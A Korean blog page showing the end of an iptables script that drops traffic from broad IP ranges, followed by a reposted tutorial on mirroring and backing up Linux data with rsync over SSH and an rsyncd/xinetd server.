    ${IPTABLES} -A INPUT -i eth0 -s 23.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 27.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 31.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 37.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 39.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 41.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 42.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 58.0.0.0/7 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 60.0.0.0/8 -j DROP

    #65: 01000001    - /3 includes 64 - need 65-79 spelled out
    ${IPTABLES} -A INPUT -i eth0 -s 65.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 66.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 67.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 68.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 69.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 70.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 71.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 72.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 73.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 74.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 75.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 76.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 77.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 78.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 79.0.0.0/8 -j LOG --log-prefix "65-79 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 65.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 66.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 67.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 68.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 69.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 70.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 71.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 72.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 73.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 74.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 75.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 76.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 77.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 78.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 79.0.0.0/8 -j DROP

    #80: 01010000   - /4 masks 80-95
    ${IPTABLES} -A INPUT -i eth0 -s 80.0.0.0/4 -j LOG --log-prefix "80-95 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 80.0.0.0/4 -j DROP

    # 96: 01100000    - /4 makses 96-111
    ${IPTABLES} -A INPUT -i eth0 -s 96.0.0.0/4 -j LOG --log-prefix "96-111 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 96.0.0.0/4 -j DROP

    #126: 01111110    - /3 includes 127 - need 112-126 spelled out
    ${IPTABLES} -A INPUT -i eth0 -s 112.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 113.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 114.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 115.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 116.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 117.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 118.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 119.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 120.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 121.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 122.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 123.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 124.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 125.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 126.0.0.0/8 -j LOG --log-prefix "112-126 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 112.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 113.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 114.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 115.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 116.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 117.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 118.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 119.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 120.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 121.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 122.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 123.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 124.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 125.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 126.0.0.0/8 -j DROP

    #217: 11011001    - /5 includes 216 - need 217-219 spelled out
    ${IPTABLES} -A INPUT -i eth0 -s 217.0.0.0/8 -j LOG --log-prefix "217-219 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 218.0.0.0/8 -j LOG --log-prefix "217-219 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 219.0.0.0/8 -j LOG --log-prefix "217-219 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 217.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 218.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 219.0.0.0/8 -j DROP

    #223: 11011111    - /6 masks 220-223
    ${IPTABLES} -A INPUT -i eth0 -s 220.0.0.0/6 -j LOG --log-prefix "220-223 DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 220.0.0.0/6 -j DROP

    ----------------------------------------------------------------------

    **참고자료:
    패킷필터링, 조대원
    리눅스 2.4 패킷필터링 하우투, Rusty Russel
    리눅스 2.4 NAT 하우투, Rusty Russel

    2006/09/08 22:20 2006/09/08 22:20
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > 세상이 끝나는날 까지 도전하자
    원본 http://blog.naver.com/ksemmen/140012802343

    로컬 호스트 시스템을 백업하는 방법으로는 tar 아카이브를 이용하여 묶거나 압축하는 방법이 있고, cpio, dump, dd 유틸리티를 이용하여 하드 디스크를 백업하는 방법이 있다.

    이번호에서는 이러한 유틸리티를 사용하지 않고, 미러링(Mirroring) 기능을 이용하여 로컬시스템 또는 원격서버의 데이터를 그대로 복사하여 백업하는 방법에 대해서 알아봅니다......


    # 1. 미러링(Mirroring)


         레드햇 리눅스 사이트의 다운로드 페이지에 보면 FTP 미러 사이트들이 많이 링크되어 있

         음을 발견할 수 있다. 미러 사이트는 주 사이트의 데이터를 그대로 옮겨와 주 사이트와 똑

         같은 서비스를 제공하는 것이다.  원격 서버의 데이터를 원본 그대로 복사해 와서 원격 서

         버와 똑같은 데이터 상태를 유지시키는 것을 미러링(Mirroring) 이라 하는데 다른 표현으로

         는 서버 동기화(server  syncronization)라고도 한다.

         미러링에 의해서 원격 서버의 데이터가 변하면 미러링 서버도 그에 따라서 변하게 되며

         항상 미러링 서버는 원격 서버의 동일한 데이터 상태를 유지하게 된다. 미러링은 로컬 시스

         템의 데이터를 백업할 때도 적용할 수 있으며 서버마다 동일한 데이터 구조를 유지하고자

         할 때 이 방법이 사용된다.


    # 2. 미러링 도구(rsync)


         여러대의 서버를 분산하여 서버를 동기화하는데 rsync 유틸리티가 많이 사용된다.

         rsync는 루트의 권한없이 서버로부터 데이터로 빠르게 전송받을 수 있으며, 원격 서버와

         미러 서버와 전송 데이터를 비교하여 변화된 데이터를 저장할 수 있다.

         또한 SSH를 이용하면 rsync 서버가 구축되어 있지 않아도 미러링을 할 수 있는 이점이 있 

         다.     


    # 3. rsync 설치


         레드햇 리눅스 9에서는 최신 버전의 rsync RPM 패키지를 지원하므로 간단히 RPM 패키지

         를 설치하여 사용한다. 그러면 우선, rsync 패키지가 설치되어 있는지를 확인해 본다...

         [root@localhost  root]#  rpm  -qa  |  grep  rsync

         rsync-2.5.5-4

         [root@localhost  root]#  _ ----->대기중인 커서를 의미함.

        

         상기 화면과는 달리 아무런 rsync 버전 정보가 표시되지 않는다면 rsync가 시스템에 설치 

         되어 있지 않는 것이므로, rsync-2.5.5-4.i386.rpm 패키지를 구해 다음과 같이 설치한다.

         설치전에 반드시 미리 구한 패키지가 있는 디렉토리로 들어간후 설치하는것을 잊지 말자.

         [root@localhost  RPMS]#  rpm  -ivh  rsync-2.5.5-4.i386.rpm

          준비  중...                           ############################ [100%]

               1 : rsync                        ############################ [100%]

         [root@localhost  RPMS]#  _

         @ [참고사항] - rsync RPM 패키지 설치시 의존성 오류가 나올때

                               rsync RPM 패키지는 redhat-lsb 패키지와 의존성을 가지므로, 설치시

                               의존성 오류가 나올 때는 redhat-lsb-1.3-1.i386.rpm을 먼저 설치한 후

                               에  rsync 패키지를 설치한다.


    # 4. SSH를 이용한 원격 서버 데이터 미러링


          rsync 서버를 구축하지 않은 상태에서 rsync로 SSH를 이용하여 데이터를 백업하는 방법

          은 다음과 같다. rsync 사용법에 관한 자세한 것은 잠시 후에 살펴보기로 하자...


          rsync  -avzr  --delete  -e  ssh  원격서버:데이터경로  백업경로

          그러면  192.168.1.13 클라이언트에서 192.168.1.1 원격 서버의 FTP 데이터를 SSH를 이용

          하여 미러링하는 방법은 다음과 같다...

          [root@localhost  root]#  rsync  -avz  --delete  -e  ssh  192.168.1.1:/ftp/pub/redhat9/

           /mirror/redhat9

          root's  password:

          receiving  file  list  ...  done

          ./

          shrike-i386-disc1.iso

          shrike-i386-disc2.iso

          shrike-i386-disc3.iso

          wrote  64 bytes  read  1855717755 bytes  2449792.50 bytes/sec

          total  size  is  1855094784  speedup  is  1.00

          [root@localhost  root]#  _


          원격 서버의 주소와 미러링하고자 하는 데이터의 경로를 지정한 후에 -e  ssh 옵션을

          사용하여 원격 서버에 접속을 하게 되면 패스워드를 묻게 되는데, 원격 서버의 루트 패스

          워드를 입력한다. 만일 일반 사용자 계정으로 이 명령을 수행한다면 원격 서버에도 동일한

          계정이 존재하여야 하며, 원격 서버의 계정 패스워드를 입력한다.

          SSH로 원격 서버에 접속이 이뤄지면 rsync에 의해서 원격 서버의 데이터를 미러링 서버

          의 지정된 경로로 다운로드됨을 볼 수 있다.

          @ [ 참고사항 ] - SSH를 이용한 rsync 데이터 동기화를 위한 원격 서버의 환경

                                  클라이언트에서 rsync로 SSH를 이용하여 원격 서버에 접속하기 전에

                                  원격 서버는 반드시 SSH 서버가 작동하고 있어야 접속이 가능하다.

                                  즉,  /etc/init.d/sshd  restart를 실행하여 클라이언트가 SSH 서버에 접

                                  속할 수 있도록 미리 준비해 놓고 있어야 한다는 예기다....


    # 5. rsync  서버 설정(/etc/rsyncd.conf)

         앞서 SSH를 이용하여 미러링을 하는 방법에 대해 알아보았다. SSH 서버가 구축되지 않은

         원격 서버에서는 클라이언트가 미러링할 수 있도록 rsync 서버를 구축해야 한다. rsync 서

         버의 설정 파일은 /etc/rsyncd.conf 파일인데, 이 파일은 자동으로 생성되지 않으므로 사

         용자가 직접 만들어 사용해야 한다.  이 파일의 설정 형식은 다음과 같다.


             [rsync 서비스명]

                           comment  =  rsync서버에 대한 설명

                           path  =  미러링될 데이터의 경로

                           uid  =  사용자 ID

                           gid  =  그룹 ID

                           use  chroot  =  yes  /  no

                           read  only  =  yes  /no

                           host  allow  =  아이피주소

                           max  connections  =  최대접속횟수

                           timeout  =  초단위의 시간


      ① [rsync 서비스명] : rsync 서비스의 이름(모듈명)이다. 사용자가 원하는 형태로 서비스명

                                     을 지정할 수 있다. 예) rh90

      ② comment : rsync 서비스에 대한 설명이다. 예) Red Hat Linux 9.0 Mirror

      ③ path : 미러링 서비스 될 데이터의 경로를 지정한다. 예) /data/linux90

      ④ uid, gid : 각각 파일 전송하는 사용자와 그룹의 아이디로, 익명 접속이 가능하도록 기본값

                       은 nobody로 설정되어 있으므로 이 값을 그대로 사용한다.

      ⑤ use chroot : path로 지정된 경로를  root 상위 디렉토리로 사용한다. 사용자가 다른 상위

                            디렉토리로 접근하지 못하도록 하기 위해서 보안상 필요로 하므로 yes로 설

                            정한다.

      ⑥ read only : 클라이언트가 서버에서 데이터만 다운로드 하는 경우에는 이 옵션을 yes로 설

                          정하여 읽기 전용 권한을 부여해야 한다. 만일 업로드가 가능하도록 하려면

                          no로 설정하지만 특별한 경우가 아니라면 yes로 설정한다.

      ⑦ host allow : 접속 호스트를 제한하지 않으면 누구나 데이터를 가져갈 수 있기 때문에 익

                            명의 FTP 미러 서버가 아니라면 보안상 rsync 서버에 접속 가능한 호스트의

                           아이피를 지정하는 것이 안전하다.

      ⑧ max connections : 동시에 접속 가능한 접속횟수를 설정한다. 무제한은 0으로 설정한다.

      ⑨ timeout : 클라이언트의 접속이 idle 상태에 있을 때 접속을 끊어버릴 시간을 설정한다.

                       기본값은 60초이다.


      다음은 지금까지 살펴본 설정을 가지고 작성한 /etc/rsyncd.conf 예제 설정 파일이다.

      [root@localhost  /]# cat  >  /etc/rsyncd.conf

      [rh9iso]

      comment = Red Hat Linux 9 ISO Mirror

      path = /data/ftp/pub/redhat9

      uid = nobody

      gid = nobody

      use chroot = yes

      read only = yes

      host allow = 192.168.1.13

      max connections = 5

      timeout = 60


      [root@localhost  /]#  _


    # 6.  /etc/xinetd.d/rsync 설정


         rsync 서비스는 슈퍼데몬 xinetd에 의해서 작동하기 때문에 /etc/xinetd.d/rsync 파일을

         설정해 주어야 한다. RPM 패키지 설치시 이 파일이 제공되므로 이 파일 가운데에서 다음

         화면과 같이 disable = yes를 disable = no로 변경한다.


         -------------------------------------------------------------------------------

          root@localhost:/

         -------------------------------------------------------------------------------

         service rsync

         {

                    disable              =  no

                    socket_type        =  stream

                    wait                  =   no

                    user                  =  root

                    server               =  /usr/bin/rsync

                    log_on_failure     +=  USER ID

          }

          _ ----->대기중인 커서를 의미함.

          ~


          [영어][완성][두벌식]                                                11,0-1                     모두

          --------------------------------------------------------------------------------

          그런 다음 xinetd 슈퍼 데몬을 다시 실행하여 rsync서비스가 작동될 수 있도록 한다.

          [root@localhost   /]#  /etc/init.d/xinetd  restart

          xinetd  를 정지함 :                                                                              [   확인   ]

          xinetd  (을)를 시작합니다 :                                                                   [   확인   ]

          [root@localhost  /]#  _


          rsync 서비스는 873 서비스 포트를 이용하므로, 텔넷으로 이 포트로 접속하여 rsyncd 정

          보가 나오는지를 확인한다. 만일 접속이 이뤄지지 않는다면 방화벽을 점검하거나

          /etc/rsyncd.conf 파일의 설정이 정확한지를 체크한다.


          [root@localhost  /]#  telnet  localhost  873

          Trying  127.0.0.1...

          Connected to  localhost.localdomain  (127.0.0.1)

          Escape  character  is  '^]' .

          @RSYNCD:  26

          _ ----->대기중인 커서를 의미함.


    # 7. rsync 사용법


         SSH를 이용하여 rsync 미러링하는 방법에서 간단히 명령의 쓰임에 대해서 이미 살펴봤다.

         그러면 rsync의 사용법에 대해서 자세히 알아보자.........


         rsync  [옵션]  rsync서버주소::서비스명 미러경로

         rsync에서 자주 사용되는  옵션은 -avzr이다. -a 옵션은 아카이브 모드이며, -v 옵션은

         처리과정을 화면상에 출력되도록 하는 것이고, -z는 전송시 압축모드이며, -r 옵션은 하위

         디렉토리를 의미하는 옵션이다. 그외 자세한 옵션은 man 페이지를 참고하자.

         그러면 rsync로 미러링하는 방법을 연습해 보기로 하자....^_^*


    7-1. rsync 서비스 모듈(서비스명과 설명) 알아보기


           앞서 작성한 /etc/rsyncd.conf 예제 파일을 통하여 원격 rsync 서버에서 어떤 서비스를

           현재 제공하는지를 알아보고자 할 때는 다음과 같은 명령을 실행한다.


          rsync  서버주소::

          

          [root@localhost  root]#  rsync  192.168.1.1::

          rh9iso               Red Hat Linux 9 ISO Mirror

          [root@localhost  root]#  _    

          이 때 출력되는 것은 /etc/rsyncd.conf 파일에서 서비스명(모듈명)과 comment로 설정

          된 메시지이다. 


      7-2. 로컬 시스템 데이터 백업


            rsync를 이용하여 로컬 시스템의 데이터를 백업하려면 다음과 같은 명령을 사용한다. 


            rsync  -avzr  --delete  백업소스경로  백업될경로

            --delete 옵션은 rsync서버의 백업할 데이터와 클라이언트의 데이터와 비교하여 변경

            된 데이터를 추가하거나 삭제하고자 할 때 사용하는 데이터 비교 옵션이다.

            그러면 /rh9hwp 디렉토리에 있는 파일을 /mirror/rh9hwp_backup 디렉토리로 백업해

            보자.........

            [root@localhost  root]# rsync  -avzr  /rh9hwp/  /mirror/rh9hwp_backup

            building  file  list  ...  done

            created  directory  /mirror/rh9hwp_backup

            ./

            맨드레이크  9.1.hwp

            명령어사전  .hwp

            제1부설치편  (60-151p).hwp

            제2부 (152-731p).hwp

            제3부 (732-1115p).hwp

            wrote  36854994 bytes  read 100 bytes  1890004.82 bytes/sec

            total  size  is  42531514  speedup  is 1.15

            [root@localhost  root]#  ls  /mirror/rh9hwp_backup

            맨드레이크  9.1.hwp  제1부설치편 (60-151p).hwp     제3부 (732-1115p).hwp

            명령어사전  .hwp      제2부 (152-731p).hwp

            [root@localhost  root]#  _


             /mirror/rh9hwp_backup 디렉토리로 데이터가 백업되고 있음을 확인할 수 있다.


      7-3. 원격 서버의 데이터 백업


            rsync  -avz  서버주소::모듈명(서비스명)  백업될경로


            이번에는 원격 서버의 레드햇리눅스9 배포판 이미지 파일을 미러링을 해보자.... 먼저

            rsync 서버주소::를 실행하여 모듈명을 확인하여 원격 서버에 접속해 미러링되게 하면

            된다.


            [root@localhost  root]#  rsync  192.168.1.1::

            rh9iso               Red Hat Linux 9 ISO Mirror

            [root@localhost  root]#  rsync  -avz  192.168.1.1::rh9iso  /mirror/redhat9

            receiving  file  list  ...   done

            ./

            shrike-i386-disc1.iso

            shrike-i386-disc2.iso

            shrike-i386-disc3.iso

            wrote 118 byets  read 1855717775 bytes  4995202.94 bytes/sec

            total  size  is  1855094784  speedup  is  1.00

            [root@localhost  root]#  _

    2006/09/08 22:19 2006/09/08 22:19
    이 글에는 트랙백을 보낼 수 없습니다
    웅쓰:웅자의 상상플러스
    웅자의 상상플러스
    전체 (379)
    게임 (5)
    영화 (2)
    기타 (23)
    맛집 (5)
    영어 (2)
    대수학 (3)
    형태소 (5)
    Hacking (9)
    Linux (112)
    HTML (48)
    Application_developing (48)
    Web_developing (102)
    Window (11)
    «   2006/09   »
              1 2
    3 4 5 6 7 8 9
    10 11 12 13 14 15 16
    17 18 19 20 21 22 23
    24 25 26 27 28 29 30
    1. 2016/01 (1)
    2. 2015/12 (3)
    3. 2015/10 (3)
    4. 2015/03 (2)
    5. 2015/01 (4)